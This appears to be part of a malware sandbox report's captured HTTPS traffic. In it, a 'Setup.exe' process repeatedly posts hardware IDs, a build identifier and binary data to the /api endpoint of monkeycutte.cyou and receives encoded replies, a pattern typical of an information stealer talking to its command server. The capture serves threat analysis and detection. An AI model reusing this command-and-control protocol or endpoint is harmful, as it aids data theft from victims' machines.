2025-01-07 14:33:22 UTC	1369	IN	Data Raw: 75 32 5a 33 65 34 6c 5a 56 6b 4d 4a 42 75 31 47 42 34 47 68 63 34 74 63 4f 52 52 64 4d 58 76 70 65 73 6a 50 69 4e 58 2b 70 42 44 2b 4b 48 56 69 78 51 73 52 61 44 67 51 38 55 42 45 70 62 46 75 6b 31 41 6e 43 56 34 7a 64 76 64 2b 32 49 48 47 6c 4f 4b 6a 51 66 41 77 5a 47 71 53 56 45 34 44 41 6b 66 67 52 6b 62 65 35 6e 4f 57 57 53 59 55 55 54 74 77 36 58 44 4e 78 49 4c 59 2f 36 56 59 75 57 4a 33 66 34 4e 5a 55 6b 4d 55 42 75 74 4f 44 34 69 76 4f 4e 63 58 4c 41 63 56 61 6a 58 58 59 38 2f 5a 68 63 53 78 6c 6c 4f 68 65 57 64 33 6c 56 55 54 59 68 67 4c 35 45 38 42 6c 75 5a 6e 31 30 35 72 47 46 6c 79 4c 61 46 7a 7a 4d 32 4c 30 2f 32 72 58 62 39 76 65 58 57 50 58 55 4e 43 48 67 2f 72 51 67 75 55 72 48 4b 4c 58 69 49 53 57 7a 70 6e 34 6a 4f 47 67 59 2f 4d 73 2f 77 Data Ascii: u2Z3e4lZVkMJBu1GB4Ghc4tcORRdMXvpesjPiNX+pBD+KHVixQsRaDgQ8UBEpbFuk1AnCV4zdvd+2IHGlOKjQfAwZGqSVE4DAkfgRkbe5nOWWSYUUTtw6XDNxILY/6VYuWJ3f4NZUkMUButOD4ivONcXLAcVajXXY8/ZhcSxllOheWd3lVUTYhgL5E8BluZn105rGFlyLaFzzM2L0/2rXb9veXWPXUNCHg/rQguUrHKLXiISWzpn4jOGgY/Ms/w
2025-01-07 14:33:22 UTC	1369	IN	Data Raw: 45 53 6c 57 45 64 4d 46 67 7a 72 64 44 69 54 70 58 61 58 55 44 30 4f 46 58 77 31 37 6a 4f 51 2b 4d 69 63 73 35 73 65 38 48 41 79 49 73 56 6d 55 6b 4d 56 41 50 46 62 53 36 61 74 62 70 68 61 49 42 4d 58 4d 33 6a 78 64 49 69 50 79 4e 4b 7a 2f 41 44 2b 4b 48 5a 72 78 51 73 42 48 30 42 53 74 42 31 57 31 4c 6b 32 67 42 63 39 58 77 31 67 4f 36 46 68 69 4a 6e 49 6b 2f 43 32 51 72 5a 72 5a 48 6e 43 62 57 39 74 45 41 76 6b 52 67 65 42 35 6a 62 5a 57 47 74 48 62 48 4a 32 38 32 47 48 30 4a 37 5a 34 36 4d 63 75 48 6c 2f 64 73 55 64 45 51 45 66 44 4f 74 50 41 5a 62 70 61 6f 6c 63 4a 77 6b 5a 4e 6d 65 68 50 59 6a 51 67 39 76 68 71 6c 66 2f 65 57 52 33 6c 56 42 55 53 6c 63 50 39 6b 63 4b 78 75 67 34 6a 46 77 6e 47 56 67 6e 4f 76 42 6c 79 39 65 50 6d 50 75 31 58 62 77 6f Data Ascii: ESlWEdMFgzrdDiTpXaXUD0OFXw17jOQ+Mics5se8HAyIsVmUkMVAPFbS6atbphaIBMXM3jxdIiPyNKz/AD+KHZrxQsBH0BStB1W1Lk2gBc9Xw1gO6FhiJnIk/C2QrZrZHnCbW9tEAvkRgeB5jbZWGtHbHJ282GH0J7Z46McuHl/dsUdEQEfDOtPAZbpaolcJwkZNmehPYjQg9vhqlf/eWR3lVBUSlcP9kcKxug4jFwnGVgnOvBly9ePmPu1Xbwo
2025-01-07 14:33:22 UTC	1369	IN	Data Raw: 73 52 46 56 73 79 35 45 51 49 67 62 42 70 31 48 45 6f 47 46 4d 78 65 2f 5a 69 69 49 2f 49 30 72 50 38 41 76 34 6f 64 6d 76 46 43 77 45 66 51 46 4b 30 48 56 62 55 75 54 61 41 46 7a 31 66 44 57 45 37 6f 57 47 49 6d 63 69 54 2f 61 6c 52 73 32 5a 78 61 4a 64 56 55 6c 73 59 51 4e 6c 30 49 34 75 72 66 5a 64 51 46 53 46 30 4f 47 58 73 66 4d 2f 2f 74 75 50 69 6f 30 44 79 54 6e 46 73 68 68 4d 66 44 51 4e 48 76 77 6f 6e 6a 4c 5a 31 6c 6c 42 72 55 52 55 32 4e 62 6b 7a 37 63 79 46 30 66 32 6a 45 70 46 69 59 6e 65 4b 56 42 45 44 57 77 75 6e 45 6b 61 48 72 47 69 55 57 43 78 54 55 69 68 79 6f 54 32 49 7a 38 69 4d 73 36 56 61 6f 47 56 39 66 63 6c 56 58 30 4e 62 47 4b 6c 54 52 70 44 6d 49 4d 6f 5a 61 77 30 56 61 6a 57 6d 66 63 58 41 69 39 72 77 74 6b 4b 32 61 32 52 35 77 Data Ascii: sRFVsy5EQIgbBp1HEoGFMxe/ZiiI/I0rP8Av4odmvFCwEfQFK0HVbUuTaAFz1fDWE7oWGImciT/alRs2ZxaJdVUlsYQNl0I4urfZdQFSF0OGXsfM//tuPio0DyTnFshhMfDQNHvwonjLZ1llBrURU2Nbkz7cyF0f2jEpFiYneKVBEDWwunEkaHrGiUWCxTUihyoT2Iz8iMs6VaoGV9fclVX0NbGKlTRpDmIMoZaw0VajWmfcXAi9rwtkK2a2R5w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49813	188.114.96.3	443	4440	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:33:23 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LQ0A6BUZ4WK08OSD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12845 Host: monkeycutte.cyou
2025-01-07 14:33:23 UTC	12845	OUT	Data Raw: 2d 2d 4c 51 30 41 36 42 55 5a 34 57 4b 30 38 4f 53 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 38 32 42 41 41 31 41 30 43 30 31 41 46 43 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 4c 51 30 41 36 42 55 5a 34 57 4b 30 38 4f 53 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 51 30 41 36 42 55 5a 34 57 4b 30 38 4f 53 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 47 41 53 0d 0a 2d 2d 4c 51 30 41 Data Ascii: --LQ0A6BUZ4WK08OSDContent-Disposition: form-data; name="hwid"F282BAA1A0C01AFC33642DA608956FF1--LQ0A6BUZ4WK08OSDContent-Disposition: form-data; name="pid"2--LQ0A6BUZ4WK08OSDContent-Disposition: form-data; name="lid"hRjzG3--GAS--LQ0A
2025-01-07 14:33:25 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=196uen8h6pc39bobt32rqinbse; expires=Sat, 03 May 2025 08:20:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dnZBUa1R%2FImkAroxAh%2BDfpYSaR6V88%2B9Ky5rPMaWMINaBWY3w6MaCA7VcTZBQvzsOvWAR5M0jnsfZo9J9pWng%2FusQ1ZIQnleLBTpuP1hUcrhhJEfLfWkyoVS2Kq8BwXLNEiH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4a9a54af04240-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2211&min_rtt=2208&rtt_var=835&sent=7&recv=17&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13783&delivery_rate=1304153&cwnd=243&unsent_bytes=0&cid=57f78e893548c5aa&ts=1070&x=0"
2025-01-07 14:33:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-07 14:33:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49824	188.114.96.3	443	4440	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:33:25 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I8XI16BFK5U5EH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15079 Host: monkeycutte.cyou
2025-01-07 14:33:25 UTC	15079	OUT	Data Raw: 2d 2d 49 38 58 49 31 36 42 46 4b 35 55 35 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 38 32 42 41 41 31 41 30 43 30 31 41 46 43 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 49 38 58 49 31 36 42 46 4b 35 55 35 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 38 58 49 31 36 42 46 4b 35 55 35 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 47 41 53 0d 0a 2d 2d 49 38 58 49 31 36 42 46 4b 35 Data Ascii: --I8XI16BFK5U5EHContent-Disposition: form-data; name="hwid"F282BAA1A0C01AFC33642DA608956FF1--I8XI16BFK5U5EHContent-Disposition: form-data; name="pid"2--I8XI16BFK5U5EHContent-Disposition: form-data; name="lid"hRjzG3--GAS--I8XI16BFK5
2025-01-07 14:33:26 UTC	1118	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=udg2htmvm30uhrv0mv17nn3eff; expires=Sat, 03 May 2025 08:20:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NMylK7utxzTEBwHcEoaPgKDBHWRZ2gD2cBa6wty5t7rPH0tYuBW5tnNldmxte7YPycVruYB1mZI7lQ4ICDbmXC5cnxQ4CeIY2FG5IdSkLkyIytrODcb3hkPs2jnWZLwq5C9B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4a9afb8e043f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1623&min_rtt=1613&rtt_var=626&sent=8&recv=20&lost=0&retrans=0&sent_bytes=2840&recv_bytes=16015&delivery_rate=1717647&cwnd=207&unsent_bytes=0&cid=9ff74eca856cbbca&ts=498&x=0"
2025-01-07 14:33:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-07 14:33:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49830	188.114.96.3	443	4440	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:33:26 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=17LWJI2TLRBYW8FO1O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19961 Host: monkeycutte.cyou
2025-01-07 14:33:26 UTC	15331	OUT	Data Raw: 2d 2d 31 37 4c 57 4a 49 32 54 4c 52 42 59 57 38 46 4f 31 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 38 32 42 41 41 31 41 30 43 30 31 41 46 43 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 31 37 4c 57 4a 49 32 54 4c 52 42 59 57 38 46 4f 31 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 31 37 4c 57 4a 49 32 54 4c 52 42 59 57 38 46 4f 31 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 47 41 53 0d 0a Data Ascii: --17LWJI2TLRBYW8FO1OContent-Disposition: form-data; name="hwid"F282BAA1A0C01AFC33642DA608956FF1--17LWJI2TLRBYW8FO1OContent-Disposition: form-data; name="pid"3--17LWJI2TLRBYW8FO1OContent-Disposition: form-data; name="lid"hRjzG3--GAS
2025-01-07 14:33:26 UTC	4630	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 Data Ascii: +?2+?2+?o?Mp5p_
2025-01-07 14:33:27 UTC	1128	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5jb3k55g05tjr1jlj4457p2u83; expires=Sat, 03 May 2025 08:20:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zb9i3pvCJOYnYqOKsivtxSSoP4UOFx18zQIAMgPBA166P%2BS7ildpyqVChru1tgw8UjGilZj6pNi1RD5kcHDHr%2FBUXiNA%2BZaIjKYO%2FiFixC4xPB4RXRGHaQECJYCHQA4oyJyw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4a9b73db88c2d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8990&min_rtt=2074&rtt_var=5080&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2840&recv_bytes=20923&delivery_rate=1407907&cwnd=247&unsent_bytes=0&cid=613c1cb83fc1b79f&ts=631&x=0"
2025-01-07 14:33:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-07 14:33:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49841	188.114.96.3	443	4440	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:33:28 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TO7ZEFQBONRBGJF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1207 Host: monkeycutte.cyou
2025-01-07 14:33:28 UTC	1207	OUT	Data Raw: 2d 2d 54 4f 37 5a 45 46 51 42 4f 4e 52 42 47 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 38 32 42 41 41 31 41 30 43 30 31 41 46 43 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 54 4f 37 5a 45 46 51 42 4f 4e 52 42 47 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 4f 37 5a 45 46 51 42 4f 4e 52 42 47 4a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 47 41 53 0d 0a 2d 2d 54 4f 37 5a 45 46 51 Data Ascii: --TO7ZEFQBONRBGJFContent-Disposition: form-data; name="hwid"F282BAA1A0C01AFC33642DA608956FF1--TO7ZEFQBONRBGJFContent-Disposition: form-data; name="pid"1--TO7ZEFQBONRBGJFContent-Disposition: form-data; name="lid"hRjzG3--GAS--TO7ZEFQ
2025-01-07 14:33:28 UTC	1118	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2bh57igr9utvfiut3a5e52gld3; expires=Sat, 03 May 2025 08:20:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rSnXkRThKM6k9FkY5Lk3DZHtxUdpZ7AebOFJyZ5cb79hFXG5%2FTbmWdKbEznri4vD8NGdvEkB5kmQZ3GfPMzPMpE0HmRKqcRHXBTDJJ0Yqb59i2g5bZE1rytRuyvHHBl5y5ux"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4a9c038424251-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1892&min_rtt=1889&rtt_var=716&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2121&delivery_rate=1521625&cwnd=248&unsent_bytes=0&cid=cfa0d5b499e4f3d6&ts=477&x=0"
2025-01-07 14:33:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-07 14:33:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49851	188.114.96.3	443	4440	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:33:29 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2F8EY7HTDATHTTG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1084 Host: monkeycutte.cyou
2025-01-07 14:33:29 UTC	1084	OUT	Data Raw: 2d 2d 32 46 38 45 59 37 48 54 44 41 54 48 54 54 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 38 32 42 41 41 31 41 30 43 30 31 41 46 43 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 32 46 38 45 59 37 48 54 44 41 54 48 54 54 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 46 38 45 59 37 48 54 44 41 54 48 54 54 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 47 41 53 0d 0a 2d 2d 32 46 38 45 59 37 48 Data Ascii: --2F8EY7HTDATHTTGContent-Disposition: form-data; name="hwid"F282BAA1A0C01AFC33642DA608956FF1--2F8EY7HTDATHTTGContent-Disposition: form-data; name="pid"1--2F8EY7HTDATHTTGContent-Disposition: form-data; name="lid"hRjzG3--GAS--2F8EY7H
2025-01-07 14:33:29 UTC	1122	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mk089ghgn1akbb0th1g2jhle72; expires=Sat, 03 May 2025 08:20:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YL77uiEEFCL7sV3s5AcFzxV788pGYXMt1Yu%2F7rPJ1nOFq2BcLzSXoU6HbDxkMUx9W61tlkxq4oVALRDPUVQrsaugGO2c%2BgKH2dxSuCYKfh4h8Ddwx3zgA9W%2FMcxKdCpj71mP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4a9c6aba88c54-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=2019&rtt_var=769&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1998&delivery_rate=1413359&cwnd=184&unsent_bytes=0&cid=e55b4b38380cb870&ts=476&x=0"
2025-01-07 14:33:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-07 14:33:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49859	188.114.96.3	443	4440	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:33:30 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 112 Host: monkeycutte.cyou
2025-01-07 14:33:30 UTC	112	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 47 41 53 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 26 68 77 69 64 3d 46 32 38 32 42 41 41 31 41 30 43 30 31 41 46 43 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--GAS&j=efdebde057a1df3f7c15b7f4da907c2d&hwid=F282BAA1A0C01AFC33642DA608956FF1
2025-01-07 14:33:30 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b3m3m22hqt0d7gdirub2l5bjr0; expires=Sat, 03 May 2025 08:20:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AXbW4mo1GVP5xfMjC31jPvfMa0OtzEctrWVr9TrjD5CQseifje6BVmP5CVvkeqaDm9vqh%2FPxp5sO%2FL%2Fsr7yNM85BemfzA%2FTFnsnuoczVdnUJrgS14sZkAWIPLXokwKNM6984"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4a9ccd8206a59-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1755&min_rtt=1753&rtt_var=662&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1013&delivery_rate=1646926&cwnd=246&unsent_bytes=0&cid=f6e440888a66eb8f&ts=487&x=0"
2025-01-07 14:33:30 UTC	218	IN	Data Raw: 64 34 0d 0a 72 39 6e 62 78 54 34 41 6b 42 58 50 56 72 6d 6d 44 56 73 33 49 68 62 43 4f 32 47 66 38 37 70 68 6c 6c 6f 73 77 48 46 4f 31 54 6a 30 6f 76 6d 77 48 44 71 79 66 62 73 69 79 64 55 33 42 78 68 2b 4f 61 46 65 42 75 72 64 79 51 6e 35 4b 6e 44 76 53 58 76 69 44 4a 33 76 36 66 45 4b 4e 73 77 36 76 7a 36 58 30 6e 55 76 46 51 34 30 70 45 39 44 70 63 47 57 51 2f 4e 34 46 76 45 4d 59 71 34 61 32 76 76 68 35 31 5a 30 35 47 57 38 62 4f 57 4a 55 58 52 63 54 6e 2b 79 54 52 54 79 6d 73 6b 55 2f 33 52 66 71 42 34 2b 69 52 66 47 74 36 2b 61 58 57 7a 67 53 72 77 2b 32 49 68 35 49 30 4d 41 4f 75 42 64 46 62 33 4a 69 6b 32 30 50 77 37 36 51 54 4f 49 0d 0a Data Ascii: d4r9nbxT4AkBXPVrmmDVs3IhbCO2Gf87phlloswHFO1Tj0ovmwHDqyfbsiydU3Bxh+OaFeBurdyQn5KnDvSXviDJ3v6fEKNsw6vz6X0nUvFQ40pE9DpcGWQ/N4FvEMYq4a2vvh51Z05GW8bOWJUXRcTn+yTRTymskU/3RfqB4+iRfGt6+aXWzgSrw+2Ih5I0MAOuBdFb3Jik20Pw76QTOI
2025-01-07 14:33:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

